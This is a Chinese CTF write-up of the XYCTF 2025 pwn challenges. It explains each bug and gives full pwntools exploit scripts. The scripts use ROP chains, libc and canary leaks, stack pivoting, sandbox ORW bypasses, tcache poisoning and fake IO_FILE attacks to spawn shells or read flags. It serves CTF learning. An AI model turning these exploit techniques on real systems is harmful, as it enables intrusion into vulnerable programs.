前言 总体来说Pwn方向题目难度属于中等,属于那种一眼看不出要咋做,但多试试又能做出来的那种,比赛的时候甚至有几只队伍AK了Pwn方向。感觉题目还是很不错的尽管比赛中有一些小意外像是有些题目附件给错了,但是XYCTF的师傅们都是无偿出题纯热爱向大伙分享自己的题目和知识,感谢所有XYCTF出题的师傅,明年我还来打(〃'▽'〃)
通过网盘分享的文件:2025XYCTF.rar 链接: https://pan.baidu.com/s/1yf7piV-H4U2qtXiQyo9eBw?pwd=xidp 提取码: xidp 其中含有pwn方向全部赛题、官方wp、奶龙出题人提供的奶龙wp以及ddw队伍的师傅分享在群里的pwn方向全解wp
Ret2libc’s Revenge 第一次遇到这种题目,刚打开就感觉很奇怪,以往做过的绝大多数题目都是利用setvbuf函数
关闭缓冲区来达到直接输入/输出的效果,但是这个题目特意将输出的缓冲区开启了,导致正常情况下之后程序结束刷新了缓冲区才会有输出,具体如下图所示: 下图展示setvbuf函数的作用: 而我们运行程序可以看到我们需要先输入,等程序结束后才会有输出 而原本输出的内容会优先存放在一个堆空间中,这个就是我们说的缓冲区 看到这道题原本我的思路是再次构造setvbuf函数
来关闭输出的缓冲区,然后利用程序中的数组溢出
来构造ROP
泄露libc基地址
,但是多次尝试后失败了,因为程序中所能够使用的gadget
太少了,没办法合理的控制rcx寄存器
,并且程序中也没有含有fflush函数
最终使得我的思路是将输出缓冲区填满
,来泄露libc基地址
然后打ret2libc
(毕竟这个题目叫ret2libc的复仇) 还需要注意题目是数组溢出
,覆盖的时候不要无脑覆盖,需要通过调试确定idx变量
在栈中的位置,需要把idx变量
覆盖成合理的大小,不然就没办法覆盖到下面的数据,或者由于idx变量
被覆盖成奇怪的数据而到处乱覆盖
完整exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from xidp import *arch = 64 elf_os = 'linux' challenge = "./pwn2" libc_path = '/lib/x86_64-linux-gnu/libc.so.6' ip = '39.106.48.123:44314' link = 2 io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link) debug(0 ) bps = [0x040127A ] ''' b *0x040127A ret b *0x00040122F mov eax, [rbp+var_4] 0x7fffffffdc50 输入地址 0x7fffffffde68: 0x0000000800000007 0x7fffffffde68+0x4是v6地址,必须保证v6合理正确 watch *(0x7fffffffded8) watch *(0x7fffffffdee8) 0x7fffffffdef8 v6 0x7fffffffdce0 输入地址 x/30gx 0x7fffffffdec8 watch *(0x405690) ''' puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] stdout_addr = 0x404060 mov_edi_esi_ret = 0x0000000000401181 add_rsi_rbp_ret = 0x00000000004010eb mov_rdi_rsi_ret = 0x0000000000401180 pop_rbp_ret = 0x000000000040117d mov_rdi_rax_call_ret = 0x00000000004011f0 xor_rdi_and_rsi_ret = 0x00000000004010e0 load_puts = 0x400600 puts_str = 0x40128D payload = b'a' *(528 +12 ) payload += p8(0x28 ) payload += p64(puts_str) for i in range (52 ): io.sendline(payload) payload2 = b'a' *(528 +12 ) payload2 += p8(0x28 ) payload2 += p64(xor_rdi_and_rsi_ret) payload2 += p64(pop_rbp_ret) payload2 += p64(load_puts-0x20 ) payload2 += p64(add_rsi_rbp_ret) payload2 += p64(mov_rdi_rsi_ret) payload2 += p64(puts_plt) payload2 += p64(xor_rdi_and_rsi_ret) payload2 += p64(pop_rbp_ret) payload2 += p64(load_puts-0x20 ) payload2 += p64(add_rsi_rbp_ret) payload2 += p64(mov_rdi_rsi_ret) payload2 += p64(puts_plt) payload2 += p64(xor_rdi_and_rsi_ret) payload2 += p64(pop_rbp_ret) payload2 += p64(load_puts-0x20 ) payload2 += p64(add_rsi_rbp_ret) payload2 += p64(mov_rdi_rsi_ret) payload2 += p64(puts_plt) payload2 += p64(puts_str) io.sendline(payload2) for i in range (53 ): io.recvuntil(b"Ret2libc's Revenge\n" ) puts_addr = uu64() leak('puts_addr' ) libc_base = puts_addr - libc.symbols['puts' ] leak('libc_base' ) binsh_addr = libc_base + next (libc.search(b'/bin/sh' )) system_addr = libc_base + libc.symbols['system' ] pop_rdi_ret = libc_base + 0x000000000002a3e5 ret = libc_base + 0x00000000000f7493 payload3 = b'a' *(528 +12 ) payload3 += p8(0x28 ) payload3 += p64(pop_rdi_ret) payload3 += p64(binsh_addr) payload3 += p64(ret) payload3 += p64(system_addr) io.sendline(payload3) ia()
girlfriend 也是保护全开 同时开启了sandbox保护
,不允许使用open
(所以我们可以使用openat
来代替open
) 并且这里可以看出read函数
的第一个参数必须为0
,而我们知道我们一般打开文件读取文件中的内容一般read
的第一个参数是3
,而这里绕过的方法其实也很简单,我们在使用openat
之前使用一个close(0)
就可以关闭标准输入流
,等我们使用openat
打开flag文件
的时候就会被默认为是0
,此时read(0,x,x)
就是读取文件中的内容
大致程序如下,不过多介绍,大家可以自己下载附件查看
选项3 有格式化字符串漏洞
,可以用用于泄露各种地址
以及canary
选项1 有16字节的溢出,可以用于栈迁移
,但是有次数限制只有一次 所以我的思路大致就是第一次先利用格式化字符串漏洞
泄露程序基地址
,canary
,libc基地址
,第二次也是选择进入格式化字符串的选项
中但是不是为了使用格式化字符串漏洞
而是为了在这个bss段
布置ROP链
来打ORW
(这里需要注意,前面0x38字节最好不要布置ROP链,因为可能会覆盖掉重要的全局变量,导致后面的栈迁移无法使用,如下图所示), 然后第三次就是栈迁移了
具体exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 from xidp import *arch = 64 elf_os = 'linux' challenge = "./girlfriend" libc_path = '/lib/x86_64-linux-gnu/libc.so.6' ip = '47.93.96.189:22535' link = 2 io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link) debug(0 ) bps = [] menu = "Your Choice:\n" def talk_her (content ): sdla(menu, str (1 )) sda("what do you want to say to her?" , content) def get_name (comment ): sdla(menu, str (3 )) sda("You should tell her your name first" , comment) io.recvuntil("your name:\n" ) canary_offset = 15 libc_offset = 17 elf_offset = 7 get_name("%15$p_%17$p_%7$p" ) io.recvuntil("0x" ) canary = int (io.recv(16 ),16 ) io.recvuntil("0x" ) libc_base = int (io.recv(12 ),16 ) - 0x29D90 io.recvuntil("0x" ) elf_base = int (io.recv(12 ),16 ) - 0x18D9 leak('canary' ) leak('libc_base' ) leak('elf_base' ) bss_addr = elf_base + 0x004060 pop_rdi_ret = libc_base + 0x000000000002a3e5 pop_rsi_ret = libc_base + 0x0000000000130202 pop_rdx_r_ret = libc_base + 0x000000000011f2e7 pop_rax_ret = libc_base + 0x0000000000045eb0 pop_rcx_ret = libc_base + 0x000000000003d1ee syscall_ret = libc_base + 0x0000000000091316 leave_ret = libc_base + 0x000000000004da83 opnat_addr = libc_base + libc.sym['openat' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] close_addr = libc_base + libc.sym['close' ] rop2 = flat([ pop_rdi_ret, 0 , close_addr, pop_rdi_ret, -100 , pop_rsi_ret, bss_addr, pop_rdx_r_ret, 0x0 , 0 , opnat_addr, pop_rdi_ret, 0 , pop_rdx_r_ret, 0x100 , 0 , read_addr, pop_rdi_ret, 1 , pop_rdx_r_ret, 0x100 , 0 , pop_rax_ret, 1 , write_addr, ]) put(hex (len (rop2))) rop1 = flat([ 'flag\x00\x00\x00\x00' , 0 , 0 , 0 , 0 , 0 , 0 , ]) put(hex (len (rop1))) rop = rop1 + rop2 put(hex (len (rop))) get_name(rop) payload = b'a' *0x38 + p64(canary) + p64(bss_addr+0x30 ) + p64(leave_ret) talk_her(payload) ia()
明日方舟寻访模拟器 康康保护,发现没有canary
和PIE
漏洞点在抽完之后退出可以向好友炫耀,炫耀的时候会让用户输入名字,这里存在read的溢出
整个题目总体比较常规,第一次利用溢出控制rbp寄存器
因为通过观察我们可以发现控制rbp寄存器
就可以控制read函数的输入地址
这里我们第一次用溢出修改rbp寄存器的值
然后返回到图中所示位置再次使用read 第二次让read函数在我们指定的位置(bss段
)打入一个ROP,并且我们再次控制rbp寄存器
进行栈迁移就可以获得shell 但是我们还需要注意,在程序的最后又一个close(1)
,也就是哪怕我们拿到shell也没有办法让内容输出到终端上,所以我们还需要使用 exec 1>&2
这个指令将标准输出重定向到标准错误中
完整exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from xidp import *arch = 64 elf_os = 'linux' challenge = "./arknights" libc_path = '/lib/x86_64-linux-gnu/libc.so.6' ip = '8.147.132.32:36781' link = 2 io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link) debug(0 ) bps = [0x04018B9 , 0x40191C , 0x4018b9 ] leave_ret = 0x0000000000401393 pop_rdi_ret = 0x00000000004018e5 pop_rsi_r15_ret = 0x0000000000401981 ret = 0x000000000040101a bss_addr = 0x405000 + 0xd00 system_addr = elf.plt['system' ] call_read = 0x4018A8 io.recvuntil("欢迎使用明日方舟寻访模拟器!祝你好运~\n" ) io.sendline('' ) io.recvuntil("请选择:[1]单抽 [2]十连 [3]自定义数量 [4]结束抽卡\n" ) io.sendline('1' ) io.sendline('' ) io.recvuntil("请选择:[1]单抽 [2]十连 [3]自定义数量 [4]结束抽卡\n" ) io.sendline('4' ) io.recvuntil("请选择:[1]向好友炫耀 [2]退出\n" ) io.sendline('1' ) io.recvuntil("请输入你的名字:" ) payload = b'a' * 64 payload += p64(bss_addr + 0x40 ) payload += p64(call_read) ''' 0x405d00 第二次read的输入地址 ''' io.send(payload) binsh_addr = 0x405d00 rop_chain = b'/bin/sh\x00' rop_chain += p64(ret) rop_chain += p64(pop_rdi_ret) rop_chain += p64(binsh_addr) rop_chain += p64(system_addr) payload = rop_chain.ljust(0x40 ,b'\x00' ) payload += p64(bss_addr) payload += p64(leave_ret) io.send(payload) ia()
Ez3.0 深入异构 PWN:PowerPC&ARM&MIPS-先知社区 这题和上面博客中的split
基本上一致
就是很普通的栈溢出,不过是mipsel架构 需要了解一些mips架构
的基本的指令和用法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context(os = 'linux' , arch = 'mips' , log_level = 'debug' ) io = process(["qemu-mipsel" , "-L" , "/usr/mipsel-linux-gnu" , "./EZ3.0" ]) elf = ELF("./EZ3.0" ) binsh_cat = 0x0411010 lw_a0_8sp = 0x00400a20 system_addr = 0x00400B70 payload = b'a' * 36 payload += p32(lw_a0_8sp) payload += p32(0 ) payload += p32(system_addr) payload += p32(binsh_cat) io.sendafter(">" , payload) io.interactive()
heap2 一个有点怪怪的题目,本地可以ORW
拿到flag
,但是远程就是不行(后续如果拿到远程docker文件会尝试探索一下为什么,发现原因的话会更新这篇文章),泪目 由于程序开启了沙箱保护,所以在bins中残留了非常多的堆块 而题目的漏洞点在于free的时候存在UAF
上面这一段C++伪代码大致和下面的C语言逻辑相同 因此我们思路大致就是利用这个UAF实现任意地址写,控制IO_list_all
最后使用House of apple
或者 House of cat
来打ORW实现flag的读取
这里由于本人构造的fake_IO
只在本地打通,并且不知道为什么远程打不通(后续知道原因后会对本篇文章进行更新),所以为了不误导其他人,这里只做如何达成任意地址写来控制IO_list_all
的分享具体我是如何构造fake_IO
的就不过多介绍了,因为我只是个套板子的小鬼罢了不知道哪里有问题(我在百度网盘分享的文件中有别的队伍师傅的wp大家可以学习别的师傅是如何构造打通远程的)
由于bins中空的块太多了,所以为了不让原本的chunk干扰到我们构造,我选择了使用0x250大小的堆块
使用的方法为House of botcake
具体构造如下所示,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 menu = "> " def add (size, content ): io.sendlineafter(menu, str (1 )) io.sendlineafter("size: " , str (size)) io.sendafter("data: " , content) def free (idx ): io.sendlineafter(menu, str (3 )) io.sendlineafter("idx: " , str (idx)) def show (idx ): io.sendlineafter(menu, str (2 )) io.sendlineafter("idx: " , str (idx)) for i in range (10 ): add(0x240 ,b'a' ) add(0x500 ,b'a' ) for i in range (7 ): free(i) free(7 ) show(7 ) libc_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0x203B20 leak("libc_base" , libc_base) IO_list_all = libc_base + 0x2044C0 leak("IO_list_all" , IO_list_all) free(9 ) show(9 ) heap_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0x15C40 leak('heap_base' , heap_base) tcache_chunk = heap_base + 0x15EA0 leak("tcache_chunk" , tcache_chunk) fake_IO_addr = heap_base + 0x16330 leak("fake_IO_addr" , fake_IO_addr) free(8 ) add(0x240 , b'bbbbbbbb' ) free(8 ) payload = p64(0 ) payload = payload.ljust(0x240 , b'\x00' ) payload += p64(0 ) + p64(250 ) payload += p64(IO_list_all ^ (tcache_chunk >> 12 )) add(0x6e0 , payload) add(0x240 , b'aaaaaa' ) add(0x240 , p64(fake_IO_addr)) add(0x600 ,b'a' ) free(10 )
效果如下: 我的完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 from xidp import *arch = 64 elf_os = 'linux' challenge = "./heap2" libc_path = './libc.so.6' ip = '' link = 2 io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link) debug(0 ) bps = [] menu = "> " def add (size, content ): io.sendlineafter(menu, str (1 )) io.sendlineafter("size: " , str (size)) io.sendafter("data: " , content) def free (idx ): io.sendlineafter(menu, str (3 )) io.sendlineafter("idx: " , str (idx)) def show (idx ): io.sendlineafter(menu, str (2 )) io.sendlineafter("idx: " , str (idx)) for i in range (10 ): add(0x240 ,b'a' ) add(0x500 ,b'a' ) for i in range (7 ): free(i) free(7 ) show(7 ) libc_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0x203B20 leak("libc_base" , libc_base) IO_list_all = libc_base + 0x2044C0 leak("IO_list_all" , IO_list_all) free(9 ) show(9 ) heap_base = u64(io.recv(6 ).ljust(8 ,b'\x00' )) - 0x15C40 leak('heap_base' , heap_base) tcache_chunk = heap_base + 0x15EA0 leak("tcache_chunk" , tcache_chunk) fake_IO_addr = heap_base + 0x16330 + 0x510 leak("fake_IO_addr" , fake_IO_addr) free(8 ) add(0x240 , b'flag\x00\x00\x00\x00' ) free(8 ) payload = p64(0 ) payload = payload.ljust(0x240 , b'\x00' ) payload += p64(0 ) + p64(250 ) payload += p64(IO_list_all ^ (tcache_chunk >> 12 )) add(0x6e0 , payload) add(0x240 , b'flag\x00\x00\x00\x00' ) add(0x240 , p64(fake_IO_addr)) chunk3 = fake_IO_addr pop_rdi_ret = libc_base + 0x000000000010f75b pop_rsi_ret = libc_base + 0x0000000000110a4d pop_rdx_ret = libc_base + 0x00000000000ab891 pop_rax_ret = libc_base + 0x00000000000dd237 syscall_ret = libc_base + 0x0000000000098fb6 ret = libc_base + 0x00000000001169a3 setcontext = libc_base + libc.sym['setcontext' ] IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] system_addr = libc_base + libc.sym['system' ] binsh = libc_base + libc.search(b"/bin/sh\x00" ).__next__() leak('setcontext' , setcontext) leak('IO_wfile_jumps' , IO_wfile_jumps) leak('read_addr' , read_addr) leak('write_addr' , write_addr) fake_IO_FILE = p64(0 )*2 + p64(1 ) + p64(chunk3+0x8 ) fake_IO_FILE =fake_IO_FILE.ljust(0x60 ,b'\x00' ) fake_IO_FILE += p64(0 )+p64(chunk3+0xf8 )+p64(system_addr) fake_IO_FILE += p64(heap_base) fake_IO_FILE += p64(0x100 ) fake_IO_FILE = fake_IO_FILE.ljust(0x90 , b'\x00' ) fake_IO_FILE += p64(chunk3 + 0x8 ) fake_IO_FILE += p64(chunk3 + 0xf0 ) + p64(ret) fake_IO_FILE += p64(0 ) + p64(1 ) + p64(0 )*2 fake_IO_FILE += p64(IO_wfile_jumps + 0x30 ) fake_IO_FILE += p64(setcontext+61 ) + p64(chunk3+0xc8 ) fake_IO_FILE += p64(read_addr) add(0x600 ,fake_IO_FILE) orw = p64(pop_rdi_ret) + p64(heap_base+88576 ) orw += p64(pop_rsi_ret) + p64(0 ) orw += p64(pop_rax_ret) + p64(2 ) + p64(syscall_ret) orw += p64(pop_rdi_ret) + p64(3 ) orw += p64(pop_rsi_ret) + p64(heap_base+0x100 ) orw += p64(read_addr) orw += p64(pop_rdi_ret) + p64(1 ) orw += p64(pop_rsi_ret) + p64(heap_base+0x100 ) orw += p64(write_addr) io.sendlineafter(menu, str (4 )) sleep(0.3 ) io.sendline(orw) ia()
本地打通的效果:
奶龙回家 web苦手 bot 没打出来,好累啊,不想复现了,有空再做吧(咕咕咕… …)
XYCTF的师傅们都是无偿出题,感谢所有XYCTF出题的师傅,明年我还来打(〃'▽'〃)